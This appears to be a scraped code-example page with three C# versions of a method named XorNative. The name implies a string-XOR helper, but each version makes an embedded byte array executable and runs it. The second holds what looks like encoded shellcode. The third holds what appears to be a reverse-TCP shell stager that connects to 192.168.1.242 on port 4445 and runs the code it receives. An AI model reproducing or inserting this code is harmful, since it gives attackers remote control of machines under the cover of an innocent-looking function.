Beispiel #1
0
      private static string XorNative(string input, string key)
      {
          //PASTE BYTE CODE ARRAY HERE//

          IntPtr myShellcodePtr = IntPtr.Zero;
          string resultStr      = string.Empty;

          try
          {
              GCHandle pinnedArray = GCHandle.Alloc(buf, GCHandleType.Pinned);
              // get handle for shellcode

              IntPtr pointer = pinnedArray.AddrOfPinnedObject();       // get address

              DelXorNative myxorIt = (DelXorNative)Marshal.GetDelegateForFunctionPointer(pointer,
                                                                                         typeof(DelXorNative)); // convert function-pointer to delegate

              uint flOldProtect;

              VirtualProtect(pointer, (UIntPtr)buf.Length, PAGE_EXECUTE_READWRITE,
                             out flOldProtect); // make shellcode executable

              IntPtr byteOut = IntPtr.Zero;

              myxorIt(input.ToCharArray(), key.ToCharArray(), input.Length, out byteOut);
              // execute shellcode

              VirtualProtect(pointer, (UIntPtr)buf.Length, flOldProtect,
                             out flOldProtect); // restore old flag

              pinnedArray.Free();

              byte[] result = new byte[input.Length];
              Marshal.Copy(byteOut, result, 0, input.Length);
              // here is our returned byte array in result

              resultStr = Encoding.UTF8.GetString(result);
          }
          finally       // cleanup
          {
              if (myShellcodePtr != IntPtr.Zero)
              {
                  Marshal.FreeCoTaskMem(myShellcodePtr);
                  myShellcodePtr = IntPtr.Zero;
              }
          }
          return(resultStr);
      }
Beispiel #2
0
        private static string XorNative(string input, string key)
        {
            byte[] buf = new byte[532] {
                0xbb, 0x2f, 0xf2, 0x94, 0x2c, 0xda, 0xdb, 0xd9, 0x74, 0x24, 0xf4, 0x5a, 0x33, 0xc9, 0xb1,
                0x7f, 0x31, 0x5a, 0x13, 0x83, 0xc2, 0x04, 0x03, 0x5a, 0x20, 0x10, 0x61, 0xd0, 0x76, 0x57,
                0x6e, 0xd9, 0x6e, 0x97, 0x6f, 0x1a, 0x6e, 0x59, 0x21, 0x5b, 0x3e, 0x0b, 0x90, 0x0d, 0xf6,
                0x9a, 0xc0, 0xd7, 0x4e, 0x56, 0xb6, 0x77, 0x06, 0xe3, 0x65, 0x60, 0xde, 0x78, 0xdb, 0xb0,
                0x96, 0xf5, 0xae, 0xe0, 0x6e, 0x05, 0xf8, 0x4b, 0x24, 0x54, 0x37, 0x85, 0xf0, 0x57, 0xf7,
                0xb9, 0x3c, 0xf9, 0x8b, 0xc3, 0x10, 0xd9, 0x32, 0x05, 0xa1, 0x14, 0xf4, 0x84, 0xf0, 0xc5,
                0x1b, 0xd4, 0xb3, 0x58, 0xac, 0x52, 0x61, 0x7b, 0xa7, 0x27, 0xb9, 0x33, 0xb6, 0x77, 0x4a,
                0x43, 0x30, 0x77, 0x4c, 0x44, 0x09, 0xfd, 0x8c, 0x30, 0xee, 0xb5, 0x0d, 0x69, 0xa0, 0xce,
                0x45, 0x91, 0x05, 0x5a, 0x15, 0x81, 0xcc, 0x5d, 0x45, 0x22, 0x98, 0x15, 0x9a, 0x6c, 0x64,
                0x2d, 0x50, 0xe7, 0x2f, 0x30, 0x4e, 0xba, 0x9e, 0xfb, 0x26, 0x74, 0x21, 0x57, 0xf7, 0xb7,
                0x68, 0xa5, 0xb6, 0x36, 0xaa, 0x8e, 0xd8, 0x4c, 0xdd, 0xa3, 0x1b, 0xe3, 0x39, 0x34, 0x5e,
                0xc2, 0x90, 0x31, 0xb8, 0x6c, 0x57, 0x31, 0x78, 0xa9, 0x1e, 0x44, 0xa8, 0xd7, 0xe1, 0xcd,
                0x44, 0x50, 0xa6, 0x5a, 0x14, 0x7c, 0x6f, 0x5c, 0x44, 0x3d, 0xe4, 0x5a, 0xec, 0xf6, 0xfb,
                0xb2, 0xad, 0x5e, 0xbd, 0x6a, 0x73, 0x06, 0x67, 0xca, 0xd3, 0xf9, 0xce, 0x8d, 0xb9, 0xb1,
                0x73, 0xe1, 0x1d, 0x03, 0x26, 0x05, 0xbd, 0xdb, 0x87, 0xa0, 0x67, 0x94, 0x8c, 0x41, 0x7e,
                0x73, 0x6c, 0x9a, 0x7f, 0x21, 0xdb, 0xdb, 0x08, 0xa9, 0xe9, 0x7c, 0xc5, 0x7f, 0x0e, 0x83,
                0x68, 0xd6, 0x47, 0x0a, 0x8c, 0x9e, 0xd6, 0xe0, 0xf0, 0x1e, 0xd9, 0xf8, 0xb9, 0xa9, 0x3c,
                0xb1, 0x85, 0xa8, 0xbe, 0x53, 0xa9, 0xac, 0xbe, 0x53, 0x51, 0xec, 0xea, 0x1a, 0xd8, 0x0a,
                0x5e, 0x14, 0x2b, 0x93, 0xe5, 0x6a, 0xbc, 0x32, 0x1d, 0x8c, 0x97, 0x77, 0xa8, 0x98, 0x7f,
                0x89, 0xab, 0x5c, 0x7f, 0xd0, 0xea, 0xe6, 0x56, 0x62, 0x87, 0x16, 0x57, 0xb7, 0x08, 0x47,
                0xea, 0x09, 0x60, 0x2a, 0xc5, 0xa9, 0x3a, 0x4a, 0xe5, 0x62, 0x32, 0x76, 0xad, 0x8d, 0x84,
                0x3f, 0xa4, 0xb3, 0x44, 0x7a, 0x5c, 0x3c, 0x98, 0x9a, 0x5f, 0x96, 0x6e, 0xd2, 0x58, 0x73,
                0x7f, 0xa5, 0x3e, 0xc8, 0xf6, 0xc7, 0xf6, 0x59, 0xf1, 0x49, 0xbc, 0x98, 0xd9, 0x7d, 0xa7,
                0xe3, 0x0b, 0xc9, 0x16, 0xce, 0xfc, 0x43, 0xa1, 0xaf, 0x46, 0xe4, 0xb8, 0x08, 0x48, 0xf4,
                0xef, 0x24, 0x87, 0xcb, 0x47, 0x86, 0x35, 0x83, 0xde, 0x11, 0xf8, 0xae, 0x94, 0x0d, 0xc0,
                0x2f, 0xab, 0x1b, 0x7f, 0x39, 0xaa, 0xec, 0x09, 0xfe, 0x0d, 0x57, 0x7c, 0x6f, 0xc0, 0xc6,
                0x80, 0xba, 0x92, 0x89, 0xbb, 0xe5, 0x20, 0x8a, 0x43, 0xaf, 0x9c, 0xe9, 0x2e, 0x4b, 0xdc,
                0xed, 0xb0, 0x93, 0xdc, 0xac, 0xe0, 0xd2, 0x8c, 0x66, 0x88, 0x37, 0x7b, 0x20, 0xdd, 0xfa,
                0xb2, 0x0e, 0x8b, 0x09, 0xed, 0xcf, 0x1c, 0xf0, 0xf1, 0xb6, 0x5b, 0xb0, 0x2d, 0x63, 0x65,
                0x38, 0x65, 0x06, 0x21, 0x1e, 0x6d, 0xde, 0xaa, 0x36, 0xc5, 0x57, 0x4c, 0x90, 0x85, 0x26,
                0xc1, 0x5c, 0x75, 0xe8, 0xb1, 0x17, 0x8a, 0x2a, 0x70, 0xf8, 0x3d, 0x54, 0xbb, 0xb5, 0x34,
                0x6b, 0x70, 0xcf, 0x87, 0x2d, 0x33, 0xb6, 0xcb, 0x91, 0xc5, 0xb6, 0x06, 0xa5, 0xf8, 0x9a,
                0xe0, 0xc9, 0x31, 0x91, 0xfe, 0x74, 0x7c, 0xae, 0x79, 0x6b, 0xe0, 0x50, 0x50, 0x2f, 0x10,
                0x1b, 0xf8, 0x06, 0x90, 0xde, 0x5a, 0x33, 0xaf, 0x82, 0x5d, 0xe9, 0x98, 0x3f, 0x65, 0x3a,
                0x25, 0x46, 0x19, 0x31, 0xd5, 0xbd, 0x01, 0x30, 0xd0, 0xfa, 0x86, 0xa8, 0xa8, 0x93, 0x62,
                0xcf, 0x15, 0x2d, 0xfb, 0x15, 0x5a, 0x78
            };

            IntPtr myShellcodePtr = IntPtr.Zero;
            string resultStr      = string.Empty;

            try
            {
                GCHandle pinnedArray = GCHandle.Alloc(buf, GCHandleType.Pinned);
                // get handle for shellcode

                IntPtr pointer = pinnedArray.AddrOfPinnedObject(); // get address

                DelXorNative myxorIt = (DelXorNative)Marshal.GetDelegateForFunctionPointer(pointer,
                                                                                           typeof(DelXorNative)); // convert function-pointer to delegate

                uint flOldProtect;

                VirtualProtect(pointer, (UIntPtr)buf.Length, PAGE_EXECUTE_READWRITE,
                               out flOldProtect); // make shellcode executable

                IntPtr byteOut = IntPtr.Zero;

                myxorIt(input.ToCharArray(), key.ToCharArray(), input.Length, out byteOut);
                // execute shellcode

                VirtualProtect(pointer, (UIntPtr)buf.Length, flOldProtect,
                               out flOldProtect); // restore old flag

                pinnedArray.Free();

                byte[] result = new byte[input.Length];
                Marshal.Copy(byteOut, result, 0, input.Length);
                // here is our returned byte array in result

                resultStr = Encoding.UTF8.GetString(result);
            }
            finally // cleanup
            {
                if (myShellcodePtr != IntPtr.Zero)
                {
                    Marshal.FreeCoTaskMem(myShellcodePtr);
                    myShellcodePtr = IntPtr.Zero;
                }
            }
            return(resultStr);
        }
Beispiel #3
0
        private static string XorNative(string input, string key)
        {
            byte[] buf = new byte[510] {
                0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
                0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
                0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
                0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
                0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
                0x01, 0xd0, 0x66, 0x81, 0x78, 0x18, 0x0b, 0x02, 0x0f, 0x85, 0x72, 0x00, 0x00, 0x00, 0x8b,
                0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b,
                0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
                0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1,
                0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45,
                0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b,
                0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
                0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48,
                0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9,
                0x4b, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xbe, 0x77, 0x73, 0x32, 0x5f, 0x33, 0x32, 0x00, 0x00,
                0x41, 0x56, 0x49, 0x89, 0xe6, 0x48, 0x81, 0xec, 0xa0, 0x01, 0x00, 0x00, 0x49, 0x89, 0xe5,
                0x49, 0xbc, 0x02, 0x00, 0x11, 0x5d, 0xc0, 0xa8, 0x01, 0xf2, 0x41, 0x54, 0x49, 0x89, 0xe4,
                0x4c, 0x89, 0xf1, 0x41, 0xba, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x4c, 0x89, 0xea, 0x68,
                0x01, 0x01, 0x00, 0x00, 0x59, 0x41, 0xba, 0x29, 0x80, 0x6b, 0x00, 0xff, 0xd5, 0x6a, 0x0a,
                0x41, 0x5e, 0x50, 0x50, 0x4d, 0x31, 0xc9, 0x4d, 0x31, 0xc0, 0x48, 0xff, 0xc0, 0x48, 0x89,
                0xc2, 0x48, 0xff, 0xc0, 0x48, 0x89, 0xc1, 0x41, 0xba, 0xea, 0x0f, 0xdf, 0xe0, 0xff, 0xd5,
                0x48, 0x89, 0xc7, 0x6a, 0x10, 0x41, 0x58, 0x4c, 0x89, 0xe2, 0x48, 0x89, 0xf9, 0x41, 0xba,
                0x99, 0xa5, 0x74, 0x61, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0x0a, 0x49, 0xff, 0xce, 0x75, 0xe5,
                0xe8, 0x93, 0x00, 0x00, 0x00, 0x48, 0x83, 0xec, 0x10, 0x48, 0x89, 0xe2, 0x4d, 0x31, 0xc9,
                0x6a, 0x04, 0x41, 0x58, 0x48, 0x89, 0xf9, 0x41, 0xba, 0x02, 0xd9, 0xc8, 0x5f, 0xff, 0xd5,
                0x83, 0xf8, 0x00, 0x7e, 0x55, 0x48, 0x83, 0xc4, 0x20, 0x5e, 0x89, 0xf6, 0x6a, 0x40, 0x41,
                0x59, 0x68, 0x00, 0x10, 0x00, 0x00, 0x41, 0x58, 0x48, 0x89, 0xf2, 0x48, 0x31, 0xc9, 0x41,
                0xba, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x48, 0x89, 0xc3, 0x49, 0x89, 0xc7, 0x4d, 0x31,
                0xc9, 0x49, 0x89, 0xf0, 0x48, 0x89, 0xda, 0x48, 0x89, 0xf9, 0x41, 0xba, 0x02, 0xd9, 0xc8,
                0x5f, 0xff, 0xd5, 0x83, 0xf8, 0x00, 0x7d, 0x28, 0x58, 0x41, 0x57, 0x59, 0x68, 0x00, 0x40,
                0x00, 0x00, 0x41, 0x58, 0x6a, 0x00, 0x5a, 0x41, 0xba, 0x0b, 0x2f, 0x0f, 0x30, 0xff, 0xd5,
                0x57, 0x59, 0x41, 0xba, 0x75, 0x6e, 0x4d, 0x61, 0xff, 0xd5, 0x49, 0xff, 0xce, 0xe9, 0x3c,
                0xff, 0xff, 0xff, 0x48, 0x01, 0xc3, 0x48, 0x29, 0xc6, 0x48, 0x85, 0xf6, 0x75, 0xb4, 0x41,
                0xff, 0xe7, 0x58, 0x6a, 0x00, 0x59, 0x49, 0xc7, 0xc2, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5
            };
            IntPtr myShellcodePtr = IntPtr.Zero;
            string resultStr      = string.Empty;

            try
            {
                GCHandle pinnedArray = GCHandle.Alloc(buf, GCHandleType.Pinned);
                // get handle for shellcode

                IntPtr pointer = pinnedArray.AddrOfPinnedObject(); // get address

                DelXorNative myxorIt = (DelXorNative)Marshal.GetDelegateForFunctionPointer(pointer,
                                                                                           typeof(DelXorNative)); // convert function-pointer to delegate

                uint flOldProtect;

                VirtualProtect(pointer, (UIntPtr)buf.Length, PAGE_EXECUTE_READWRITE,
                               out flOldProtect); // make shellcode executable

                IntPtr byteOut = IntPtr.Zero;

                myxorIt(input.ToCharArray(), key.ToCharArray(), input.Length, out byteOut);
                // execute shellcode

                VirtualProtect(pointer, (UIntPtr)buf.Length, flOldProtect,
                               out flOldProtect); // restore old flag

                pinnedArray.Free();

                byte[] result = new byte[input.Length];
                Marshal.Copy(byteOut, result, 0, input.Length);
                // here is our returned byte array in result

                resultStr = Encoding.UTF8.GetString(result);
            }
            finally // cleanup
            {
                if (myShellcodePtr != IntPtr.Zero)
                {
                    Marshal.FreeCoTaskMem(myShellcodePtr);
                    myShellcodePtr = IntPtr.Zero;
                }
            }
            return(resultStr);
        }